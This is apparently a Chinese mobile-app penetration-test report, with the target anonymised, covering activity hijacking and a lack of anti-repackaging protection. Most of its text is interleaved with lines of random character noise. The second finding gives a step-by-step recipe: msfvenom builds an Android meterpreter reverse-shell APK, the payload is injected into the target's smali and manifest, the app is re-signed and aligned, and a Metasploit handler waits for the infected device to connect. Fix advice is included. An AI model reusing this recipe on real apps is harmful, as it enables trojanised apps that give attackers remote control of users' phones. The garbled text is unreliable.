3 C8 I5 N+ x* C5 Y6 T
表1-2 测试结果
4 q9 _2 N& @- `) [& ~! h6 V, l) V, z$ j4 E) i3 G) g/ z
2 A* Q( _- r; q/ k' G1 C, j5 u
1 ?1 \ Q3 W9 P' e1 X2 K* G9 Y
! Z5 }4 C- t5 ^6 J
8 g! X+ k T- S$ C5 O8 G, A
) F/ J7 n) e+ K& u$ s: [3 L6 j+ v4 g3 l% ]0 r0 w* k9 ^( e6 f
; D* a" j1 h9 _/ ^7 \& [% N8 b: c3 @: u4 a8 y
6 d1 {' ~$ @( |; H0 {
9 ~" c& z o" x% f/ a) g O
2 检测结果 4 K3 k k2 Q& \8 ^$ p2 P
/ Q% B8 j# c% }7 Y1 q- b
& B3 | H) K$ [' g3 V, {
# S7 U# [8 g" P1 u. C+ ~$ q) J3 {0 R * o* q" X1 E0 D5 i1 e
# U/ Q- d5 B1 ^* {) p c
2.1 某某某 ( m* t! w' S7 K
5 T9 }. t0 X. r4 O# E0 v6 N5 }
) l/ y! L, N7 L$ Y
0 M+ e: C$ Z) `# b) z: g% ^ 9 r4 T+ o9 Q# O1 F" _ y, ~9 V
' x; E* X9 {* k1 ^+ c/ j$ G 2.1.1检测目标 ) _( o* u* c" X* `: ]1 G8 Y
- A+ i6 b& d* S8 q
U; J: ?7 A3 m" V( \3 i* }
' G7 I5 F2 z* @6 }0 ] 9 j: s1 Z" D% m& d) o% z
4 u7 i2 @( D3 p# j* n 目标地址: 某某某某某某APP , F( A# s# I) L# W( g% Z% ^9 ^
4 z, i# m, T8 w4 U; c2 v9 m c Z
+ x9 \0 I1 f3 c* A8 K3 e( A; X$ @0 U7 G" p- A5 t
8 i4 D2 V* E/ O( G3 C* X! T" A
& ?& T d/ \( ]% S6 ^4 e3 B 2.1.2检测结果
' c' A5 p& ~! O: B4 f
1 U( ~( _ p$ I/ `4 ]. ^# E
, O- Q9 N3 k% E; D* j2 _. D. u/ @) h9 \ v! P4 M# Z
9 {2 e! a' }3 Y1 I5 e5 {
' t3 W# M4 [* r1 M# l' J+ ? 2.1.2.1 ' ^( l+ K2 K) z* U3 P% P
6 s" P {. B, w
- v4 I" s3 J1 F% l* S1 d( R D# t6 ~1 g& R# m4 J9 E+ w
4 x$ B, J8 [9 F3 J' w% p' v" g% @
+ M8 v: ]) [8 L s 漏洞链接地址:某某某某某某APP
) G0 W+ D+ S8 E. Y n& \& n" B! T5 s0 W
0 m3 ^4 @7 ] U# W7 r6 {; H1 d
! V/ x3 X5 m( H2 v/ c# q
4 m. ] F5 l: g5 B, n# c
! s! J( g$ D, A6 d$ s" Z
+ D% x: }" y9 H4 a( D
( s' y% G* U* k; H7 s! i" @
& W: F0 r7 g! h+ d4 b
9 i2 W/ {& c& W k
- G0 l2 \" d& m9 \+ A/ e Q% c! ^
! \& M3 j8 @; U. I2 @2 V, b 漏洞分析及取证: 7 r; ^" Q) e' ~+ e' D, [
. K8 p. }7 Z" A! z1 B4 ]6 B+ z* N. T
% @/ h6 s) \. f. v& o
6 m* u% ^9 l; }+ i0 k4 l! Q5 n9 o
& l; ~* p& U, x( l0 @3 D/ }. v
: F% G; v; N5 V! L8 z" }( N: C/ y: d. R
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
. F, t4 I5 @6 t& p, Y7 a. H0 M! C9 j8 L
: b5 X S& ?4 N9 r8 H/ j
: t4 ?/ j2 N. _; P* W+ c
* ]' M4 d! C! n( y% H6 W3 p9 D
1 F. ^/ q1 y, j9 s) b
2 i* H6 `$ H- E
& |# u0 Y: K) }0 O3 m# m
& A- v0 I$ m- a: [
7 p- {2 [; U) @9 d" V. H
3 {* ?$ a( `5 C/ I8 I
4 c6 @# I$ Q' N- `, \8 C
- E9 D- _; x' {! S$ i1 D
* s, \, {! B. \- m- P7 C- W
5 U5 f; T2 Z# Z, J- A9 w$ w G( F5 f& s# z( {& a; Y
- U k) E8 [& u% g9 L/ ^
! J8 v" K0 l @ `* L
0 O4 t' U* _4 {+ B, ], Q# c$ H+ W* U4 a8 O( [( q
$ V% a3 M2 S7 a/ t( o( Q, Q
i8 }4 h8 r- o
; O2 Z" m" y R
' y ?# ^3 Y' ^0 d0 \0 m3 r l) E- t9 G
3 p9 o# i* A$ N! e5 P) ?0 O
+ v P, `! s: D
- ~' D: s- W1 c* P$ [
: V3 b# h @& I { $ o6 F. K# v! r- |, H% s
4 K9 p H" B' d1 j2 B
/ z$ T4 I0 m1 h2 K& n+ Y& B* g. l- N9 b# h7 X
& |8 O+ {3 _/ A, @. i! E8 `
: }: D& e7 d* D9 o! U! O ; I. L. w& u* z# x. I% _. L9 a+ x" _
8 V, z- R* J# ?; U& F; F9 r 漏洞危害:高
2 G9 p0 ~& [8 Z+ K3 A0 A
# o/ y; v6 [$ ~5 f, c, h
! v& r7 Z; g$ Z" t( C
9 O; u4 P: [+ C6 | K' D
/ M. g+ `7 f8 @8 |, Y% ?8 `
" H9 O! P/ u/ |% t0 Z
1 _/ `! r9 q# G8 S) R# [- L/ j
5 J1 m. Q# w! e6 C6 H
& }( \4 W; q- J. y7 k6 u2 m0 w2 T$ X3 u: b- P
4 N, { P( ^+ b
' {& _5 G8 A# B- g9 ^% w% a
# t3 X0 ^! |8 ~& S- I4 Z+ ?' i3 w$ S0 m
! u+ x% w! ?5 J/ O
3 k6 r7 @3 i5 H9 r
8 x/ z7 T0 V& k4 q% `/ J! J9 n 严重程度
. c! \' m8 q0 Z* }! ^3 A2 ?# ]; m
w* [6 x8 q& |. ?- V9 z! J7 o9 C 5 M7 a9 F; B$ c. h s& m( H+ M
2 \6 y7 `7 `5 }5 o8 P0 ]# H! G
|
( K( \5 t$ L$ k4 }, \5 B/ j/ o# e
. R1 F; z( x6 I- D) y5 j. Q% N
5 s5 J! _* ]- J7 E1 A' Q" B
: d5 l# v! I( }5 K% S" ]8 Z' t( J( u8 [ S; t- o3 O9 U% \- D
高 % C ^4 Y2 b: E% U& p
\! L+ T/ `' W' H + t8 K* X5 {, G% b- ?& Y# d" w
5 t. H G0 ]% G( { |
, }% h+ Q1 o: _# M4 P0 ~% R4 {) A. f6 }$ \4 K9 e
( M6 v+ M% r, v4 Q! ~. b
/ O0 u% b: z' |9 y `1 W
: v* M9 C# f! @& g8 F6 o4 w9 M
■ 2 Q. X' K# p" t* X* A ~
- H% E: S5 z9 I, L
" b; ~! `( Q5 n" S% o1 o3 s9 n* r$ {, V8 _+ T
| " v5 r( E: z; ?; R4 k
" t" v' x' @8 P6 c. Y : O3 H5 r! i9 F l4 l
# T7 R* R8 [! X3 R# L' v
' A% [1 H5 s- K y& p; l7 D4 G- c! I& g5 V6 w
中
1 n' w. U$ e4 B& Z+ z4 M6 l7 G6 H3 G* e9 C
! B0 z/ f7 X1 f/ R4 n, a
# G9 R% m6 u% P2 @0 x
|
8 l3 v- c4 z! t+ n/ X9 Z# n6 m1 j8 U* `; p7 l
/ J$ T4 c/ a( ~$ J$ b
, |7 |0 J a( |5 Z- g' R: G( _7 j
# |4 O% M2 v! d0 J8 a- V. Q- s( T7 B. i$ |0 t
, X4 x; L6 H& C6 N }! X/ A! X f' i* ?, o! l
0 g a' R3 E; y! E- M. M2 W
( [" J& Q2 s* A! y% v |
4 l/ a" E. J s3 N
# d) q1 W, s* d' `: C
/ v0 ~) Y+ J7 X+ n& h- J, b/ W+ Q0 @* V% M$ }# h" ?
- d3 H/ q1 x2 m: `% N8 _
$ r0 v& y6 g; J 低 * F2 Y! S' s3 O# u
. N& y0 L6 c; e7 F8 z 6 S* @& k; J8 r, q0 ^; V
) b9 o" V8 N! B/ M |
! C. ]: J. D; @* T! G2 y- {2 m3 _& v) ~7 F* U& N
2 M- h9 {% t, `% B) e' d9 P2 Y4 x
5 ^0 S# d, z& } B
8 u2 w/ H$ B' u5 q
& c" t% L0 Z! x) a! i. f$ ~ @ - [& ~ N3 g8 c; W. P) X( Q% W
9 l8 x! t" _9 ^& U
( \8 {9 S; i- c+ l# Z s# u$ Y2 g" O+ F! ?7 y; a# \: a
|
! c) O( k: E6 [: i% |& i! T5 M7 x0 m$ u1 \6 j- X
0 B3 J0 t! f+ [& q" R* z8 R2 g5 T
+ g J9 ]3 D. ~) U
. g+ A; w ?. S% ]( o
0 H0 s+ ~3 d$ P. Q8 C$ }7 `/ q
0 t. z5 ^* W8 E% ~! F8 I' ?
7 i/ o" |) M( W* K$ }! J
3 v5 }7 m* H1 K# {
7 k/ ?+ N% \" F: Z9 B
6 X5 r0 j7 u& ~' ]. X2 \* u% e
' j. W0 m+ O0 ~! [# _7 F ' j" D6 V/ y6 x, j
) M; x `$ R) V( m
7 a0 T* | p6 ^/ _1 t$ [7 n
2 g5 e: y* s h4 P4 L5 ?
/ {* Q# f7 u6 {
8 n5 r8 y* C5 E0 S 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
# D0 N7 V$ R3 ~7 ^9 ?. c/ S4 `/ A! O' E' [; X6 f& }9 D2 A- }
c) {1 a1 y+ p+ g2 d: F
, L" s$ i- t7 \! T
3 y5 J3 D5 @7 ~/ N2 T) [ i
$ T, q8 S% v' T; S ; Z" y7 M) U- i& t7 @
4 @- U. |/ b, X* T! F+ M
& C o2 M2 E# Q8 N: j8 K2 ]
4 ~+ ~1 I9 p. W/ h4 Z1 |/ { ( e* m( }& G* n" l J- @% Y
: d1 N# G8 H! C. q" W
P. G( {9 O+ V% x/ j/ r8 m9 m
* k# M; ~8 q+ z7 j5 w9 D& V. ^7 K
+ q9 L: M, [% M) N# K4 }
% {. F2 a" Z* U2 Z* H7 r. j* p
5 I4 U+ I( {5 G1 F. O
3 \: e/ ]) c& m V 2.1.2.2
- ~: n8 k& D. E; {$ l% f' L8 F7 s2 M+ f/ [4 J0 ]. ?/ J
* [1 C6 e2 l0 M$ n9 E
& M1 b, O6 s$ w; i9 }
2 C" ]' d! o3 Y
4 F& a% `% o( j7 F+ B
漏洞链接地址:某某某某某某APP 4 h$ m' D0 `1 I# @ B
* L& H' L4 B" L r x' x
/ p0 j# I% I4 o# s! o
" H5 O8 C8 L% B: F4 x/ M* a 0 E* ?- v1 v) K, D b$ X& P. F
$ q% X) o. l% S S0 c$ F* }1 N 漏洞分析及取证:
6 Q: n, U, K; T3 Z$ F0 S2 h
) t7 d6 l. c2 _; H" M/ T
! o3 G9 h' a% P! T5 N+ n1 }0 J/ [6 B
8 r. _ K$ J! [" }; h+ Z0 I
% h0 y2 r" C! N _7 o' q 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
- y+ \% S" X( l4 `" z _4 k9 a' P$ v. g
" I L, _+ S" i4 S6 g
: }6 F- o: v" \& z4 b ( Z5 J- C1 `" W: {- J
0 v: a" w' q* ?; m1 H 用Metasploit 生成木马 apk
" r; Z6 [$ j4 y3 M4 R! C
7 ? k" S e) k* K
# b7 F. z6 a8 m2 w, p7 U" B9 X" ~
- }5 R6 o& S! b3 h; w
" j, H4 I" a3 X6 F
. d& s( ]" G2 ~ msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
J$ V* [0 _9 a0 ^$ J3 Z0 m5 \
; \7 M" E$ X0 k8 J- N# B- c
6 J0 [+ A3 o( a" O( H) G$ j" k. j
. ^% Q1 d7 Z5 n4 T2 a 1 ]* f# P0 c5 U6 a A3 }* V, w& h3 q: w
1 x* N" g3 w, [$ h! U
反编译目标apk和木马apk 8 `8 b+ } ?: s1 H/ M' K% f8 j
) O9 L8 I* I- X. Q+ u: L) J
, E8 Q) Q2 c% C( G- l) U7 S: y
9 ^1 b' M9 r9 n5 ?5 [" _
7 D$ t% Q1 t: a: }, O& A$ A
6 H s$ b1 d+ ]. G, Z apktool d target.apk
+ P* T: F/ Y7 q3 k3 K9 x) a
( r5 g4 H9 r# T7 o0 b0 F apktool d cockhorse.apk $ H5 [+ w5 s6 N) L3 S
% Z i+ _ r3 {) H: f- C
) b& l" t5 f8 h
u8 B5 q9 y1 M3 \# H. b1 X
4 }- {6 a4 R: V% _- o% u" Z/ g( R" y& d! \) W* v, b
木马 apk 注入目标 apk # C5 e; |9 m- q% u
$ Z7 K8 z; |" D1 n3 U; x7 j
4 P) y5 s" k! _0 ^6 n j, L+ t
/ x7 T: F O+ L5 n
3 M5 G+ @. A5 q R
) F+ `% e8 N# ^* e: v 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
0 w# w, b1 S+ R$ [. {9 J0 v5 L' |! Z/ p/ D, o% F& G- h. s
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
3 R# a% X& p2 r/ K# I6 G4 @
]9 l% X7 |* [& C8 z& L
2 K+ [3 I* v2 C6 S* Q! p, ?/ e* f( C1 M" I. {, K, {
3 Y$ x- J! r# P, m9 x3 y) v$ ^' o1 d8 }/ Y! o8 |( z
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 + ^0 R! n% X4 N% s* q
; X6 m, o% p3 ~, P! u
3 `$ E6 i) ~. T$ T- M
- \9 k; P' |2 P% \1 F, t4 g2 q
" `' S+ ]: w2 v& R; a" |1 D" J% {9 K3 J6 |) Y& p
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 . l! ~+ f9 ^$ q. z
) ?( r1 Z2 ]; Q8 a. N
) O+ e$ B- O0 C, n! B
- Y6 u- ]9 X; h9 L3 E$ h
# L3 v6 K- m5 O ^5 J
2 @3 A* Z& X$ C 回编译生成最终 apk . E8 _/ ]% G# k, s7 {
5 n. t7 x/ k6 ?4 p$ ?1 a
2 {6 L% q( E4 Z
$ J1 k+ x# ?3 \
0 x5 @' J1 |) l3 R( z5 E
% O7 |8 {. g6 |7 m- U! U b9 o 重新打包 " X0 S$ \- S4 Y3 w1 D! v
3 k' e: k ~- v2 S# J; T0 J
8 a; Y: U8 I0 T- v
# t% P5 X4 q# o8 J4 F. D8 L6 C
2 }' E9 \& f2 h4 q
6 ^5 V& G+ v8 a& C+ @ apktool b -o repackage.apk target_app_floder 9 H; s) H/ M) R8 R: N o4 Y) y; Q- r" T
) J2 R# I. j' q9 `+ s6 C& l. L
2 {2 t2 o- `! J+ F
: a/ x6 ~" Y$ g! C) Z
9 _ c3 S5 I: G3 H' g) V; r$ \9 A
/ {! U- g( x9 n; `: H 创建签名文件,有的话可忽略此步骤 $ ^+ @& T+ e) N7 N
0 K* p( m$ V% W j: x
4 }+ x, q3 k y
, t, [4 ^% `8 r! `( @8 Y
" M. _9 @) ?* e s5 c0 Z- Z4 |- Z& ]- G( h4 ~) p' ~% c
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 * {' e; l/ g9 o+ M7 ?: j
! g& d) M q. O: U1 v! o: S
. ~! H( V+ [* O# w% I8 V
" O) O3 \5 v/ n. A% o / T+ `2 P4 y' ?, M. [6 R' J
$ L; @; z- j8 B0 q0 E7 b7 h" x
签名,以下任选其一 ' Z* L3 z# k y* H8 D" B8 ^8 z* L
" L6 W5 b! g2 M- l5 n! F
/ f3 }+ o+ ~3 a" r
4 r2 L' y' a: S/ v4 g5 S
% s' B4 m$ W3 q# x Y L2 D6 Z
+ ]6 Q2 O3 P* M4 G
jarsigner 方式 ! Y+ A. Z [" o
5 k1 T9 p* w1 b2 [% p0 t1 X/ ?
. ]8 B( o, y, `- E) ~& } {3 T' K5 B, [9 a) D! M
" E+ w0 n. f7 z) Y2 K
& F' I5 _+ G- L1 u* k9 f. r N jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
' {5 H n# \* W) [" t; r& a9 i6 p) z
7 _0 B# Y1 W0 A' ` x) }
$ [- _3 U/ Y3 ~$ S0 W$ q- Y5 ]1 }" T& F) P# l$ Z2 R. A9 I
9 O6 W+ H& |7 |; o" e' w
6 }3 e; a6 d8 G4 \, t1 ~& E6 ] apksigner 方式 * U @( m7 R- W0 R) F
6 K7 a: S6 U$ }% K- s9 q
_5 @0 Y* i. O6 C m( k9 k3 }. i) R8 ^- K# z( ^' C; Y2 l
% C4 v' L9 N6 _6 J, ~6 q
/ N- D# _# |' ?) ~6 S8 g9 _ apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk & ]# ?0 [1 W0 o [2 [
! |" L/ S; v9 w- m8 b/ b8 B
9 X5 }/ t; z' \ v+ G+ S; B
! { _) t1 ^- R }4 O2 I5 e: G 1 s! Y7 j6 A( v% }8 f% x ^( D
+ s# e. `9 C H- j 如需要禁用 v2签名 添加选项--v2-signing-enabled false
1 k# C1 G: r: J, M. L1 e! S" c$ v9 o5 i# v$ A' I P6 V- |2 f" O
" h8 i- J, m, |# u0 B
# m6 l+ H2 e- c+ Q- N B
2 ^& g3 f Y( S9 Z! V; O% o+ B/ t }; a3 l
验证,以下任选其一
! I3 }$ s/ \2 P7 d4 P; r! V
& I! i* @# {& \6 H; B! S
5 E7 z* l9 A" Y+ O; q. ~
; ~. C" m$ w" f5 z * M! L" z" ]% ~- Z7 y- J: j: ]9 i
' s, t$ P% h- G5 U1 M jarsigner方式 ( \5 @, o* p4 x0 V
/ U, w0 q1 B" K/ s3 i5 {$ h
- w* E) [) M; R x
) z$ j, c" D8 s
6 H' `- n: d, D3 a$ ~$ J+ {2 h
+ S& y( C" y% V7 {( t* v a jarsigner -verify repackaged.apk 8 Q, F1 X- z, {% } a% x$ F1 N9 l
) { A+ Q9 |1 h+ ?( s4 M
& A% h0 c* B% y+ |2 \" E( S7 }
1 ^# R3 g7 o3 T# z- c
; x j3 L) \! o- J
5 t, h$ T% L' W8 _& |/ g apksigner 方式
" O; j) e- ^" h: o. a; m$ I$ D" [* X e$ R. c0 [; [
- {+ Y3 s& W$ }) b% h
1 J+ W; Z' R9 a4 p Z1 Y$ T
. q1 O" Z, R. _ ~' E! N1 t& ~0 z) \( v! u! V" G
apksigner verify -v --print-certs repackaged.apk . {, ^6 G$ P1 M: f# W- T2 z- }
! [8 j9 Q: l9 X$ p! t
9 @- C% \% E, d! k& @1 b
8 \& m9 m/ W3 G4 f; r' u" Z
( Y7 Y, O6 N+ @( K- |
0 _% x6 z; Z- T c& d% ~6 {
keytool方式 , O* Q# i7 Z! J8 n8 d) m/ k
' {9 b3 L# G! f* Q9 y& n( L2 Y
' e! G# l& J J6 V0 u# _ M: ^" J0 y5 h' g b
& i- N9 q9 V2 h( {3 u3 Y6 s( G
" v5 M& l& |; H, e" ^& V6 ~1 u- f keytool -printcert -jarfile repackaged.apk
1 o7 z5 _; S# R2 v* N$ J- Q5 H3 |% x. V7 y1 f
5 \7 s4 A" I4 w$ I$ b( w4 S5 f2 `# c2 a9 k
; b3 n1 Y7 P: u% O" k" J
f7 G) y+ u( @4 y
对齐 & E% A" H6 x2 S3 }2 x* k; W. n# x
7 n: B' C, Q# u" O& v
# @& K$ h! ^5 r8 |+ X5 J& ?
4 q M+ a. D( ~) i: W! R# n3 P , e( T* J3 q \. x
1 c( L! D; Q( n6 e6 c+ r0 k 字节对齐优化
7 S. g# T9 |) ?5 s' G( B: S7 i% e7 q9 b' a. V, i
) l6 c! D- l' j0 S9 G
" f7 m0 l2 |5 U0 s" d 8 y, T+ P' |) `: ?7 b) s2 t" l
' N7 |5 C+ ]2 z" j& [: D' _
zipalign -v 4 repackaged.apk final.apk 2 i9 x; y- {! x3 L6 u+ d
+ l1 l) S+ L/ z1 x
' e" f+ x" R) m1 _; R! ^
+ y: Y( w8 E) E
4 z, c. m% m6 k) E/ k
+ V2 J( W# z! F! Y/ }2 b: M( n5 h
检查是否对齐
7 {3 Z$ B2 E. }
8 S1 B& B' P* k+ C6 \3 H3 V# A
$ V8 F7 J+ [( ~4 g& E( P( T
n7 |2 p' U0 ~
0 W- y; j& T! J8 C. n* ?6 S& ?5 f+ Z. ?& J7 P' f+ u$ x( p$ t
zipalign -c -v 4 final.apk
3 M1 t1 a% `# \1 {/ t3 s9 ~
9 [' ]% w1 @8 u, \3 V8 z+ ^
+ N: `# a9 d/ @1 k! ?- G5 n6 s
1 h0 g1 ^! ?0 p: R! l9 L6 p! K
% x0 W& x# D; |% ?" w2 D+ e% m" y/ ^
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 : ~' G' h" [2 G0 w4 Y! B+ T& W. l* h
+ K, v/ I" ~ D+ W- N0 b+ B
4 q5 v H( i1 K! V+ \& t1 e9 g
3 S- v' J( ?' F' ?( Z! B
: B/ {0 G. q& n
$ H# H' [9 D' V' e; ^ 启动Metasploit控制台,配置参数等待上线 ( }. b! O8 i4 D/ f) z4 ?0 y' S. {0 ], L
6 P6 t9 Y& h- v% v' [
5 h/ H3 ~' J, ^) k" I
0 Q; `" m7 Q" C1 S8 u2 n ' D% k: q4 J" i, a( d! S1 f* V
2 Z* ]1 R5 H& l1 W4 a$ g 在终端依次输入如下命令 9 B$ H7 E; R& A& _7 J/ ~* D
: d3 ~8 f( ^7 }* U* @
2 V9 t& z Q0 V8 g# s' ^; ~+ e f- g1 p7 I- @. @' `
+ J; f3 J( Z' c, J% `% B. x+ u7 \# m3 g! n2 S; d1 |
msfconsole
$ k2 i! U p8 _1 U N1 t" h) v& q/ J7 _5 t0 Q) {. A; |4 _/ g2 l
7 w" J% m6 J& r7 V
1 u: N, X& B1 Z+ h4 O, N
& r7 ^5 ^+ e; ~* F* \1 U" v* ^ L- M5 W5 f8 ^$ f; Y
use exploit/multi/handler
: e4 o+ N$ Q: l! B- c& n& d4 ^* h& G5 K
, M/ x' |* K& _& }. ?
: g% W: L7 M6 m! @: F! c
8 o' q- M# c0 \2 v' t
% G/ |! P1 z7 W! O set PAYLOAD android/meterpreter/reverse_tcp
, Q. y6 y6 |4 N1 _* K5 P2 \1 A u5 G. c K/ d5 j8 ]) X) e# h
5 K+ I# p- j2 c% g
4 Y `. v2 d6 e9 N, c
% {; Q; H, R0 l: O. `
4 {- c" E8 u: s set LHOST 192.xxx.xx.xx # e9 v6 P/ a3 H
4 K& ~# ^7 y% I5 @( [; H! M. [
) e' h0 @" K. k! m* c
6 f, ], | L4 v" N; z( Q* _
4 W8 A% f( L9 r" _ U$ Z2 r6 l; `4 R8 f9 W+ i2 B: r, N8 ~
set LPORT 4444
! P# B; z2 R2 k7 ?4 l/ b. t, D+ ~0 i8 h$ R
' a' Z$ ]" G5 c) v4 A! F! I
" D0 d0 t) C" _) L( b: P
, R8 ?- T) P# x B6 u9 F* d: H
+ }1 Y& U/ s z" @) X* W exploit 3 I! g0 ?0 G3 r+ f: N. R
4 N- h7 w3 H& b1 e
$ F% K$ v! E$ z% L& e+ p+ G7 W& v
. |, [# @1 e- s) ?7 D4 e" ]
3 p' E0 i4 M9 o3 |* m+ y* R
" S8 r; g# ~: x# b5 R" o% V* I# M 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
! k( i9 j ~& h0 L; w
* @2 S& V" k; N7 {. E
' J( { L( u* T4 {& n: b% f
: Z8 x5 G2 B# r' J" q ; B5 \7 i' }8 _" T
( F+ @1 w" p* X/ l3 r& w 漏洞危害:中 ! x% O# p9 Y6 V' P& |$ ]% v! c
`8 t6 K* {, Z& l
1 M2 C9 u3 g* p* _6 d( l$ V" v
6 u6 _( `3 B) V4 G8 C" H6 L
2 U4 j _3 y5 ?4 q
$ A. {4 B; l. m; ?! r + N4 N$ b x1 ^ h
s2 `- v2 Q4 Q4 J; G ! a* }# R7 _8 ~! z
6 t2 C4 {! O; ^8 I8 r
+ O) p2 F1 b0 j- o
% w5 x4 E% S' F; P. ]
5 {6 {* s+ B2 c8 ?
& x8 I, ], T* _+ C& n' p % M4 n* P: L! k
0 Q; G+ L8 Z/ Z
3 s) r& C# b% U9 I
8 h$ Y& g5 [+ z' e4 Z' P' e& u
严重程度
; X: X8 N) Z1 u( g! A* V' ~. ~1 L3 A
( i, L: ]2 \ K( D( @1 K6 s* P3 w/ l7 @- \# U4 G2 z6 b
| 1 x# [* H, O6 C, ` _/ t
/ P2 x+ D9 `5 }5 N2 [) |8 Z
9 I; F% W2 w9 b9 n& d8 h( J
: q: e9 H& q9 J, V, S- h 9 G- M( R; x( E9 d
, {$ `: E6 w' u7 L
高 & N" b0 m( R0 w( V6 l7 s
3 v( l4 c& ]" q- w
' E+ ~" K' `* X) \. j
/ e. [8 f: z9 T0 z/ R+ L |
; q) \+ M0 _7 U* {+ \0 r. y" F9 b7 l" `, a7 H* ~
K: S C; ]0 t- p$ a3 |; p3 j7 n0 d# Z$ d
- @) _/ V3 B$ y, K; B5 H5 |8 s
: m3 D: ^" W" ?# d" S
■ 7 R( e9 a+ Z2 R, X$ b5 [. V5 w
! f) U1 z, B1 r; r7 X* v" r
' p/ w1 z: G& c y$ O9 N! F
0 b% }0 q* I8 R6 R | - }+ Q/ d% r" @ m+ I# q2 W& e
# c" R4 R2 X' \6 Z2 R" O! n1 K 9 O! p# e! Y+ a' D/ H0 t
. t0 e7 b4 C" m
' Y% o2 E3 x7 X6 {$ Y- `4 ^. x
' u" N7 A) M. G+ D1 |# F9 V 中
4 m( V3 [% c3 x9 L
. C0 V9 M5 ^9 \+ t( M/ A7 q+ w / C" \6 Q+ l. F- P
1 v$ o3 c0 r5 E1 Q
|
9 T- s! h& J1 L% X3 S2 r l2 ^. I2 Y* g- J+ g) G- @ T6 i1 f+ x
1 d! w0 W& d1 O. @4 V0 V G3 u
8 _6 k) I, V% }" ~' `$ H
% e2 V, b1 c: |: }; _# N- i% A- L9 e/ M @- w
, x5 q+ n/ `) M
% {* Z a0 i( M( v& ^- X/ Y
- }/ S% U. H. C* Y3 c. h
$ ?+ x x+ n# ]) J( |+ D# O 9 U5 Z$ D) _$ M2 V5 F8 |$ X1 M* p% f5 J" b
& R7 v6 h/ B) m) C# o |
" j. J0 Q; {& s5 w9 {0 q- g3 E9 l
- a& I) y0 V+ a F' \. u# ^ h/ b6 \
( h+ L! r4 Q1 o0 |+ z+ l& i E$ n
0 |" @( K, b6 r1 E7 V! a* m
$ n1 a/ k$ R& S% z( p4 P
$ l% d) M; l, F8 i& S" V 低 " p* d, R0 Q: l( \. v
$ }, V- e! {1 z* U
]5 `( C# I" s* l1 V' {8 ~. U( t/ L6 M# x, v
| 6 f3 O! N: U5 ?2 \* f4 Z
7 d: F/ D+ K; G5 J ) r5 z5 h. s! ^( a# }
$ r* G4 q K# j
' H! W$ T- |9 K8 o( B
: {. j9 H4 K3 @) T. [3 Y ( M, M- \- |9 q
6 P+ s8 I# r4 k* I * ]. ~& z% E8 V. R% k* p
6 S4 j7 v* Q* s: q- ]+ {
6 y5 o# u5 `) h0 Q; _5 n& x, a5 ?% H/ [
| 5 S4 m5 g4 U- ^4 S( Z
9 }: ~) M5 w8 \. U" q! D/ }
o6 S" p" L9 j
S/ I/ y/ h3 r! a" o K
! g" }( S) ?5 ^2 b( }2 S+ f' p# \, V+ q
8 s( n4 a" I+ Y! d1 s7 S0 F; ? q1 b3 S% c- X0 Y Q$ R$ }/ s( H" |
]( M. o+ d1 t( _3 g
( Q, x( H" [' ~5 n4 y& d6 Q
! V s1 A0 {/ S* d% b" K
% R2 ~1 J2 a2 ?+ z2 n
' p. f+ B+ Z1 g) w, R8 l) s' K3 O( c: r0 c6 _, b$ N2 u
2 }; I& k; l# l& R4 M; @& S; k
& w: V' m8 f# X T
& m- i. k. E! K% M& x& _) d+ k, T2 h# L' W( ^
修复方法: 5 ]9 w' C7 @/ ~/ f- L! ~
4 O; S6 r0 G! E* I3 Y; T1 Z1 q
) B# C+ P3 d! Y/ k
5 x6 w. a( w. U5 k
% A- q9 R1 `) b4 f$ h& R
6 b. B' g/ }1 _) z 1.在 APP 启动时应做签名校验防止二次打包。
5 c0 T# e$ Z" A( w' h- y A, p7 ]: q2 E
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
?* g# R) A" I6 b0 L" v- ]6 N; D( J. r2 v
% h2 W* E4 L: j$ n/ ?2 ]
+ [8 o3 a" Y8 [4 y8 W) t - ~, d6 @: k6 U- S
6 h& z& k: T$ ]
) _5 n8 `3 b/ Q: {* i: K4 d' @# B& z! h
, {& p" O2 |& L
4 C6 m- U# k9 }% W
6 U4 R0 W& s' E5 } d' H
* n6 [* E: e; n5 ^
; K! r' `' R9 N* Y
. c9 Q8 c( i9 ?
/ H4 ~/ y# f) { l! }6 Q" L, e
2 }" J. U9 M$ u* r9 Q* v A
5 S `3 l' m$ `, o& q
' ?! ]# O1 I; f
6 w, [! s- w' v- Y J
& U1 \% s' I0 V